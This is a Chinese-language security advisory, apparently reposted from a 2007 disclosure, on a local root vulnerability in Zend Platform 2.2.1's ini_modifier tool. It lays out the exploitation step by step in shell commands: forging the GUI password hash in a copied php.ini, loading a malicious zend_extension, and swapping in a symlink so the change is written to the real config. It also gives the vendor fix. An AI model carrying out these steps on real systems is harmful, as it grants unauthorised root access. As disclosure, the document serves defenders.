漏洞起因
配置错误
影响
系统
Zend Zend
Platform 2.2.1
Zend Zend Platform 2.2.1a
Zend Zend Platform 2.2.1(a)
不受影响系统
Zend Zend Platform 3.0
危害
本地攻击者可以利用漏洞无需密码修改
Php.ini文件,导致特权提升。
攻击所需条件
攻击者必须访问Zend Platform。
漏洞信息
Zend Platform是一款企业级PHP应用的Run-Time平台环境。
Zend Platform包含的ini_modifier设置不正确,本地攻击者可以利用漏洞无需密码修改Php.ini文件,导致特权提升。
ini_modifier用于Zend Platform中通过GUI更改php.ini文件:
$ ls -la /usr/local/Zend/sbin/ini_modifier
-rwxr-sr-x 1 root zendtech 243240 2006-08-14 16:24 ini_modifier
为了保护ini_modifier被滥用在编辑
文件之前需要使用GUI密码。当它从php.ini中读取GUI密码的MD5 HASH时可通过字典或者Rainbowtable进行攻击。
因为ini_modifier可以使用-f参数打开替代的Php.ini文件,如果我们使用编辑器在它里面更改Zend GUI密码可编辑系统php.ini的一个拷贝:
$ cd /tmp
$ mkdir ini
$ cd ini
$ cp /usr/local/Zend/etc/php.ini .
... now edit zend_gui_password in
the copy to a MD5 of your choice and
... REMEBER the old MD5
$ cd ..
$ /usr/local/Zend/sbin/ini_modifier -f /tmp/ini/php.ini -n
Password:
(ini_modifier) help
modify entry - Modifies an entry.
switch extension - Enables or disables an extension.
switch zend_extension - Enables or disables a Zend extension.
help - Shows this help.
write - Writes the changes.
quit - Quits the program.
(ini_modifier) switch zend_extension /var/www/upload/evil.so on
(ini_modifier) modify entry Zend zend_gui_password OLDMD5
(ini_modifier)
在并行会话中可以执行如下操作:
$ cd /tmp
$ mv ini ini.bak
$ ln -s /usr/local/Zend/etc ini
然后编辑ini文件:
(ini_modifier) write
(ini_modifier) quit
$ cat /usr/local/Zend/etc/php.ini
[PHP]
zend_extension=/var/www/upload/evil.so
...
zend_gui_password=OLDMD5
在下次启动时就可以装载恶意ZEND扩展而导致以ROOT权限执行。
测试方法
厂商解决方案
升级到Zend Platform 3.0:
http://www.zend.com/products/zen ... ity_vulnerabilities
漏洞提供者
Stefan Esser
漏洞消息链接
http://www.php-security.org/MOPB/BONUS-07-2007.html
漏洞消息标题
BONUS-07-2007:Zend Platform ini_modifier Local Root Vulnerability